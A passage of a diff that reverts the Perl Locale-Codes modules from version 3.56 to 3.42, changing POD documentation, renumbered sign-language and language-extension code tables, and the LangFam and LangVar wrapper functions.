+specifies the code set to use. If not specified, the default IANA
+language registry codes will be used.
 
-The following functions are exported automatically:
+=head1 SUPPORTED CODE SETS
 
-=over 4
-
-=item B
+There are several different code sets you can use for identifying
+language extensions. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-See B in L
+For example, the two are equivalent:
 
-=item B
+   $lext = code2langext('acm','alpha');
+   $lext = code2langext('acm',LOCALE_LANGEXT_ALPHA);
 
-See B in L
+The codesets currently supported are:
 
-=item B
-
-See B in L
-
-=item B
+=over 4
 
-See B in L
+=item B
 
-=item B
+This is the set of three-letter (lowercase) codes from the IANA
+language registry, such as 'acm' for Mesopotamian Arabic. 
 
-See B in L
+This is the default code set.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
-
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
-
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
-
-=item B
-
-See B in L
-
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +90,14 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+The IANA language subtag registry.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +108,7 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 2011-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm
index 3d892a2f557a..5552ea20ddc3 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::LangExt_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:55:11 EST 2018
+#    Generated on: Fri Nov 18 09:18:36 EST 2016
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
-$Locale::Codes::Data{'langext'}{'id'} = '0233';
+$Locale::Codes::Data{'langext'}{'id'} = '0232';
 
 $Locale::Codes::Data{'langext'}{'id2names'} = {
    q(0001) => [
@@ -554,69 +554,69 @@ $Locale::Codes::Data{'langext'}{'id2names'} = {
       q(Romanian Sign Language),
       ],
    q(0177) => [
-      q(Russian Sign Language),
+      q(Rennellese Sign Language),
       ],
    q(0178) => [
-      q(Miriwoong Sign Language),
+      q(Russian Sign Language),
       ],
    q(0179) => [
-      q(Saudi Arabian Sign Language),
+      q(Miriwoong Sign Language),
       ],
    q(0180) => [
+      q(Saudi Arabian Sign Language),
+      ],
+   q(0181) => [
       q(Langue des signes de Belgique Francophone),
       q(French Belgian Sign Language),
       ],
-   q(0181) => [
+   q(0182) => [
       q(South African Sign Language),
       ],
-   q(0182) => [
+   q(0183) => [
       q(Swiss-German Sign Language),
       ],
-   q(0183) => [
+   q(0184) => [
       q(Sierra Leone Sign Language),
       ],
-   q(0184) => [
+   q(0185) => [
       q(Chadian Arabic),
       ],
-   q(0185) => [
+   q(0186) => [
       q(Swiss-Italian Sign Language),
       ],
-   q(0186) => [
+   q(0187) => [
       q(Singapore Sign Language),
       ],
-   q(0187) => [
+   q(0188) => [
       q(Albanian Sign Language),
       ],
-   q(0188) => [
+   q(0189) => [
       q(Sri Lankan Sign Language),
       ],
-   q(0189) => [
+   q(0190) => [
       q(Shihhi Arabic),
       ],
-   q(0190) => [
+   q(0191) => [
       q(Spanish Sign Language),
       ],
-   q(0191) => [
+   q(0192) => [
       q(Swiss-French Sign Language),
       ],
-   q(0192) => [
+   q(0193) => [
       q(Slovakian Sign Language),
       ],
-   q(0193) => [
+   q(0194) => [
       q(Congo Swahili),
       ],
-   q(0194) => [
+   q(0195) => [
       q(Swahili (individual language)),
       q(Kiswahili),
       ],
-   q(0195) => [
-      q(Swedish Sign Language),
-      ],
    q(0196) => [
-      q(Al-Sayyid Bedouin Sign Language),
+      q(Swedish Sign Language),
       ],
    q(0197) => [
-      q(Solomon Islands Sign Language),
+      q(Al-Sayyid Bedouin Sign Language),
       ],
    q(0198) => [
       q(Temuan),
@@ -683,49 +683,46 @@ $Locale::Codes::Data{'langext'}{'id2names'} = {
       q(Llengua de signes valenciana),
       ],
    q(0218) => [
-      q(West Bengal Sign Language),
-      ],
-   q(0219) => [
       q(Wu Chinese),
       ],
-   q(0220) => [
+   q(0219) => [
       q(Kenyan Sign Language),
       ],
-   q(0221) => [
+   q(0220) => [
       q(Malaysian Sign Language),
       ],
-   q(0222) => [
+   q(0221) => [
       q(Manado Malay),
       ],
-   q(0223) => [
+   q(0222) => [
       q(Moroccan Sign Language),
       ],
-   q(0224) => [
+   q(0223) => [
       q(Yolnu Sign Language),
       ],
-   q(0225) => [
+   q(0224) => [
       q(Yan-nhanu Sign Language),
       ],
-   q(0226) => [
+   q(0225) => [
       q(Yugoslavian Sign Language),
       ],
-   q(0227) => [
+   q(0226) => [
       q(Yue Chinese),
       q(Cantonese),
       ],
-   q(0228) => [
+   q(0227) => [
       q(Zimbabwe Sign Language),
       ],
-   q(0229) => [
+   q(0228) => [
       q(Malay (individual language)),
       ],
-   q(0230) => [
+   q(0229) => [
       q(Negeri Sembilan Malay),
       ],
-   q(0231) => [
+   q(0230) => [
       q(Zambian Sign Language),
       ],
-   q(0232) => [
+   q(0231) => [
       q(Standard Malay),
       ],
 };
@@ -740,11 +737,11 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(al-sayyid bedouin sign language) => [
-      q(0196),
+      q(0197),
       q(0),
       ],
    q(albanian sign language) => [
-      q(0187),
+      q(0188),
       q(0),
       ],
    q(algerian arabic) => [
@@ -844,7 +841,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(cantonese) => [
-      q(0227),
+      q(0226),
       q(1),
       ],
    q(catalan sign language) => [
@@ -856,7 +853,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(chadian arabic) => [
-      q(0184),
+      q(0185),
       q(0),
       ],
    q(chadian sign language) => [
@@ -888,7 +885,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(congo swahili) => [
-      q(0193),
+      q(0194),
       q(0),
       ],
    q(costa rican sign language) => [
@@ -972,7 +969,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(1),
       ],
    q(french belgian sign language) => [
-      q(0180),
+      q(0181),
       q(1),
       ],
    q(french sign language) => [
@@ -1156,7 +1153,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(kenyan sign language) => [
-      q(0220),
+      q(0219),
       q(0),
       ],
    q(kerinci) => [
@@ -1164,7 +1161,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(kiswahili) => [
-      q(0194),
+      q(0195),
       q(1),
       ],
    q(konkani (individual language)) => [
@@ -1184,7 +1181,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(langue des signes de belgique francophone) => [
-      q(0180),
+      q(0181),
       q(0),
       ],
    q(laos sign language) => [
@@ -1252,11 +1249,11 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(malay (individual language)) => [
-      q(0229),
+      q(0228),
       q(0),
       ],
    q(malaysian sign language) => [
-      q(0221),
+      q(0220),
       q(0),
       ],
    q(maltese sign language) => [
@@ -1264,7 +1261,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(manado malay) => [
-      q(0222),
+      q(0221),
       q(0),
       ],
    q(mandarin chinese) => [
@@ -1312,7 +1309,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(miriwoong sign language) => [
-      q(0178),
+      q(0179),
       q(0),
       ],
    q(moldova sign language) => [
@@ -1332,7 +1329,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(moroccan sign language) => [
-      q(0223),
+      q(0222),
       q(0),
       ],
    q(mozambican sign language) => [
@@ -1352,7 +1349,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(negeri sembilan malay) => [
-      q(0230),
+      q(0229),
       q(0),
       ],
    q(nepalese sign language) => [
@@ -1475,12 +1472,16 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0074),
       q(0),
       ],
+   q(rennellese sign language) => [
+      q(0177),
+      q(0),
+      ],
    q(romanian sign language) => [
       q(0176),
       q(0),
       ],
    q(russian sign language) => [
-      q(0177),
+      q(0178),
       q(0),
       ],
    q(sabah malay) => [
@@ -1500,7 +1501,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(saudi arabian sign language) => [
-      q(0179),
+      q(0180),
       q(0),
       ],
    q(sekak) => [
@@ -1512,27 +1513,23 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(shihhi arabic) => [
-      q(0189),
+      q(0190),
       q(0),
       ],
    q(sierra leone sign language) => [
-      q(0183),
+      q(0184),
       q(0),
       ],
    q(singapore sign language) => [
-      q(0186),
+      q(0187),
       q(0),
       ],
    q(slovakian sign language) => [
-      q(0192),
-      q(0),
-      ],
-   q(solomon islands sign language) => [
-      q(0197),
+      q(0193),
       q(0),
       ],
    q(south african sign language) => [
-      q(0181),
+      q(0182),
       q(0),
       ],
    q(south levantine arabic) => [
@@ -1544,11 +1541,11 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(spanish sign language) => [
-      q(0190),
+      q(0191),
       q(0),
       ],
    q(sri lankan sign language) => [
-      q(0188),
+      q(0189),
       q(0),
       ],
    q(standard arabic) => [
@@ -1560,7 +1557,7 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(standard malay) => [
-      q(0232),
+      q(0231),
       q(0),
       ],
    q(sudanese arabic) => [
@@ -1576,23 +1573,23 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(2),
       ],
    q(swahili (individual language)) => [
-      q(0194),
+      q(0195),
       q(0),
       ],
    q(swedish sign language) => [
-      q(0195),
+      q(0196),
       q(0),
       ],
    q(swiss-french sign language) => [
-      q(0191),
+      q(0192),
       q(0),
       ],
    q(swiss-german sign language) => [
-      q(0182),
+      q(0183),
       q(0),
       ],
    q(swiss-italian sign language) => [
-      q(0185),
+      q(0186),
       q(0),
       ],
    q(ta'izzi-adeni arabic) => [
@@ -1683,12 +1680,8 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0212),
       q(0),
       ],
-   q(west bengal sign language) => [
-      q(0218),
-      q(0),
-      ],
    q(wu chinese) => [
-      q(0219),
+      q(0218),
       q(0),
       ],
    q(xiang chinese) => [
@@ -1696,11 +1689,11 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(yan-nhanu sign language) => [
-      q(0225),
+      q(0224),
       q(0),
       ],
    q(yolnu sign language) => [
-      q(0224),
+      q(0223),
       q(0),
       ],
    q(yucatec maya sign language) => [
@@ -1708,19 +1701,19 @@ $Locale::Codes::Data{'langext'}{'alias2id'} = {
       q(0),
       ],
    q(yue chinese) => [
-      q(0227),
+      q(0226),
       q(0),
       ],
    q(yugoslavian sign language) => [
-      q(0226),
+      q(0225),
       q(0),
       ],
    q(zambian sign language) => [
-      q(0231),
+      q(0230),
       q(0),
       ],
    q(zimbabwe sign language) => [
-      q(0228),
+      q(0227),
       q(0),
       ],
 };
@@ -2431,87 +2424,87 @@ $Locale::Codes::Data{'langext'}{'code2id'} = {
          q(0176),
          q(0),
          ],
-      q(rsl) => [
+      q(rsi) => [
          q(0177),
          q(0),
          ],
-      q(rsm) => [
+      q(rsl) => [
          q(0178),
          q(0),
          ],
-      q(sdl) => [
+      q(rsm) => [
          q(0179),
          q(0),
          ],
-      q(sfb) => [
+      q(sdl) => [
          q(0180),
          q(0),
          ],
-      q(sfs) => [
+      q(sfb) => [
          q(0181),
          q(0),
          ],
-      q(sgg) => [
+      q(sfs) => [
          q(0182),
          q(0),
          ],
-      q(sgx) => [
+      q(sgg) => [
          q(0183),
          q(0),
          ],
-      q(shu) => [
+      q(sgx) => [
          q(0184),
          q(0),
          ],
-      q(slf) => [
+      q(shu) => [
          q(0185),
          q(0),
          ],
-      q(sls) => [
+      q(slf) => [
          q(0186),
          q(0),
          ],
-      q(sqk) => [
+      q(sls) => [
          q(0187),
          q(0),
          ],
-      q(sqs) => [
+      q(sqk) => [
          q(0188),
          q(0),
          ],
-      q(ssh) => [
+      q(sqs) => [
          q(0189),
          q(0),
          ],
-      q(ssp) => [
+      q(ssh) => [
          q(0190),
          q(0),
          ],
-      q(ssr) => [
+      q(ssp) => [
          q(0191),
          q(0),
          ],
-      q(svk) => [
+      q(ssr) => [
          q(0192),
          q(0),
          ],
-      q(swc) => [
+      q(svk) => [
          q(0193),
          q(0),
          ],
-      q(swh) => [
+      q(swc) => [
          q(0194),
          q(0),
          ],
-      q(swl) => [
+      q(swh) => [
          q(0195),
          q(0),
          ],
-      q(syy) => [
+      q(swl) => [
          q(0196),
          q(0),
          ],
-      q(szs) => [
+      q(syy) => [
          q(0197),
          q(0),
          ],
@@ -2595,64 +2588,60 @@ $Locale::Codes::Data{'langext'}{'code2id'} = {
          q(0217),
          q(0),
          ],
-      q(wbs) => [
-         q(0218),
-         q(0),
-         ],
       q(wuu) => [
-         q(0219),
+         q(0218),
          q(0),
          ],
       q(xki) => [
-         q(0220),
+         q(0219),
          q(0),
          ],
       q(xml) => [
-         q(0221),
+         q(0220),
          q(0),
          ],
       q(xmm) => [
-         q(0222),
+         q(0221),
          q(0),
          ],
       q(xms) => [
-         q(0223),
+         q(0222),
          q(0),
          ],
       q(ygs) => [
-         q(0224),
+         q(0223),
          q(0),
          ],
       q(yhs) => [
-         q(0225),
+         q(0224),
          q(0),
          ],
       q(ysl) => [
-         q(0226),
+         q(0225),
          q(0),
          ],
       q(yue) => [
-         q(0227),
+         q(0226),
          q(0),
          ],
       q(zib) => [
-         q(0228),
+         q(0227),
          q(0),
          ],
       q(zlm) => [
-         q(0229),
+         q(0228),
          q(0),
          ],
       q(zmi) => [
-         q(0230),
+         q(0229),
          q(0),
          ],
       q(zsl) => [
-         q(0231),
+         q(0230),
          q(0),
          ],
       q(zsm) => [
-         q(0232),
+         q(0231),
          q(0),
          ],
       },
@@ -2836,27 +2825,27 @@ $Locale::Codes::Data{'langext'}{'id2code'} = {
       q(0174) => q(psr),
       q(0175) => q(pys),
       q(0176) => q(rms),
-      q(0177) => q(rsl),
-      q(0178) => q(rsm),
-      q(0179) => q(sdl),
-      q(0180) => q(sfb),
-      q(0181) => q(sfs),
-      q(0182) => q(sgg),
-      q(0183) => q(sgx),
-      q(0184) => q(shu),
-      q(0185) => q(slf),
-      q(0186) => q(sls),
-      q(0187) => q(sqk),
-      q(0188) => q(sqs),
-      q(0189) => q(ssh),
-      q(0190) => q(ssp),
-      q(0191) => q(ssr),
-      q(0192) => q(svk),
-      q(0193) => q(swc),
-      q(0194) => q(swh),
-      q(0195) => q(swl),
-      q(0196) => q(syy),
-      q(0197) => q(szs),
+      q(0177) => q(rsi),
+      q(0178) => q(rsl),
+      q(0179) => q(rsm),
+      q(0180) => q(sdl),
+      q(0181) => q(sfb),
+      q(0182) => q(sfs),
+      q(0183) => q(sgg),
+      q(0184) => q(sgx),
+      q(0185) => q(shu),
+      q(0186) => q(slf),
+      q(0187) => q(sls),
+      q(0188) => q(sqk),
+      q(0189) => q(sqs),
+      q(0190) => q(ssh),
+      q(0191) => q(ssp),
+      q(0192) => q(ssr),
+      q(0193) => q(svk),
+      q(0194) => q(swc),
+      q(0195) => q(swh),
+      q(0196) => q(swl),
+      q(0197) => q(syy),
       q(0198) => q(tmw),
       q(0199) => q(tse),
       q(0200) => q(tsm),
@@ -2877,21 +2866,20 @@ $Locale::Codes::Data{'langext'}{'id2code'} = {
       q(0215) => q(vsi),
       q(0216) => q(vsl),
       q(0217) => q(vsv),
-      q(0218) => q(wbs),
-      q(0219) => q(wuu),
-      q(0220) => q(xki),
-      q(0221) => q(xml),
-      q(0222) => q(xmm),
-      q(0223) => q(xms),
-      q(0224) => q(ygs),
-      q(0225) => q(yhs),
-      q(0226) => q(ysl),
-      q(0227) => q(yue),
-      q(0228) => q(zib),
-      q(0229) => q(zlm),
-      q(0230) => q(zmi),
-      q(0231) => q(zsl),
-      q(0232) => q(zsm),
+      q(0218) => q(wuu),
+      q(0219) => q(xki),
+      q(0220) => q(xml),
+      q(0221) => q(xmm),
+      q(0222) => q(xms),
+      q(0223) => q(ygs),
+      q(0224) => q(yhs),
+      q(0225) => q(ysl),
+      q(0226) => q(yue),
+      q(0227) => q(zib),
+      q(0228) => q(zlm),
+      q(0229) => q(zmi),
+      q(0230) => q(zsl),
+      q(0231) => q(zsm),
       },
 };
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm
index dcd51e681290..5bfa072ef7f9 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm
@@ -3,7 +3,7 @@ Locale::Codes::LangExt_Retired;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Feb 23 12:58:17 EST 2018
+#    Generated on: Fri Nov 18 09:22:54 EST 2016
 
 use strict;
 require 5.006;
@@ -11,16 +11,14 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'langext'}{'alpha'}{'code'} = {
-   q(rsi) => q(Rennellese Sign Language),
    q(yds) => q(Yiddish Sign Language),
 };
 
 $Locale::Codes::Retired{'langext'}{'alpha'}{'name'} = {
    q(hawai'i pidgin sign language) => [ q(hps), q(Hawai'i Pidgin Sign Language) ],
-   q(rennellese sign language) => [ q(rsi), q(Rennellese Sign Language) ],
    q(yiddish sign language) => [ q(yds), q(Yiddish Sign Language) ],
 };
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm
index 38ec8e64023c..08d934a9784a 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm
@@ -1,94 +1,95 @@
 package Locale::Codes::LangFam;
-# Copyright (C) 2001      Canon Research Centre Europe (CRE).
-# Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2011-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::LangFam_Codes;
+use Locale::Codes::LangFam_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2langfam
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2langfam
                 langfam2code
                 all_langfam_codes
                 all_langfam_names
                 langfam_code2code
+                LOCALE_LANGFAM_ALPHA
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_LANGFAM);
-
-our $obj = new Locale::Codes('langfam');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2langfam {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('langfam',@_);
 }
 
 sub langfam2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('langfam',@_);
 }
 
 sub langfam_code2code {
-   return $obj->code2code(@_);
+   return Locale::Codes::_code2code('langfam',@_);
 }
 
 sub all_langfam_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('langfam',@_);
 }
 
 sub all_langfam_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('langfam',@_);
 }
 
 sub rename_langfam {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('langfam',@_);
 }
 
 sub add_langfam {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('langfam',@_);
 }
 
 sub delete_langfam {
-   return $obj->delete_code(@_);
+   return Locale::Codes::_delete_code('langfam',@_);
 }
 
 sub add_langfam_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('langfam',@_);
 }
 
 sub delete_langfam_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('langfam',@_);
 }
 
 sub rename_langfam_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('langfam',@_);
 }
 
 sub add_langfam_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('langfam',@_);
 }
 
 sub delete_langfam_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('langfam',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod b/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod
index 7fbf9a90a573..478edb84b51e 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod
@@ -2,107 +2,83 @@
 
 =head1 NAME
 
-Locale::Codes::LangFam - module for dealing with langfam code sets
+Locale::Codes::LangFam - standard codes for language extension identification
 
 =head1 SYNOPSIS
 
    use Locale::Codes::LangFam;
 
-   $name = code2langfam(CODE);
-   $code = langfam2code(NAME);
+   $lext = code2langfam('apa');                 # $lext gets 'Apache languages'
+   $code = langfam2code('Apache languages');    # $code gets 'apa'
 
    @codes   = all_langfam_codes();
    @names   = all_langfam_names();
 
 =head1 DESCRIPTION
 
-This module provides access to langfam code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes
+used for identifying language families, such as those as defined in
+ISO 639-5.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
-
-=head1 ROUTINES
-
-All routines in this module call the appropriate method in the
-L module, using an object of type: langfam
-Please refer to the documentation of the L module
-for details about each function.
+specifies the code set to use. If not specified, the default ISO 639-5
+language family codes will be used.
 
-The following functions are exported automatically:
+=head1 SUPPORTED CODE SETS
 
-=over 4
-
-=item B
+There are several different code sets you can use for identifying
+language families. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-See B in L
+For example, the two are equivalent:
 
-=item B
+   $lext = code2langfam('apa','alpha');
+   $lext = code2langfam('apa',LOCALE_LANGFAM_ALPHA);
 
-See B in L
+The codesets currently supported are:
 
-=item B
-
-See B in L
-
-=item B
+=over 4
 
-See B in L
+=item B
 
-=item B
+This is the set of three-letter (lowercase) codes from ISO 639-5
+such as 'apa' for Apache languages.
 
-See B in L
+This is the default code set.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
-
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
-
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
-
-=item B
-
-See B in L
-
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +90,14 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+ISO 639-5 .
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +108,7 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 2011-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm
index 26f9285b196c..df5d47cfb412 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::LangFam_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:55:15 EST 2018
+#    Generated on: Fri Nov 18 09:18:43 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Data{'langfam'}{'id'} = '0116';
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm
index da15aa8d90e6..d53fe5cd2aca 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm
@@ -10,7 +10,7 @@ use warnings;
 require 5.002;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'langfam'}{'alpha'}{'code'} = {
 };
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm
index 504bc02f1cd9..a038eb7681e3 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm
@@ -1,94 +1,96 @@
 package Locale::Codes::LangVar;
-# Copyright (C) 2001      Canon Research Centre Europe (CRE).
-# Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2011-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::LangVar_Codes;
+use Locale::Codes::LangVar_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2langvar
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2langvar
                 langvar2code
                 all_langvar_codes
                 all_langvar_names
                 langvar_code2code
+                LOCALE_LANGVAR_ALPHA
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_LANGVAR);
-
-our $obj = new Locale::Codes('langvar');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2langvar {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('langvar',@_);
 }
 
 sub langvar2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('langvar',@_);
 }
 
 sub langvar_code2code {
-   return $obj->code2code(@_);
+
+   return Locale::Codes::_code2code('langvar',@_);
 }
 
 sub all_langvar_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('langvar',@_);
 }
 
 sub all_langvar_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('langvar',@_);
 }
 
 sub rename_langvar {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('langvar',@_);
 }
 
 sub add_langvar {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('langvar',@_);
 }
 
 sub delete_langvar {
-   return $obj->delete_code(@_);
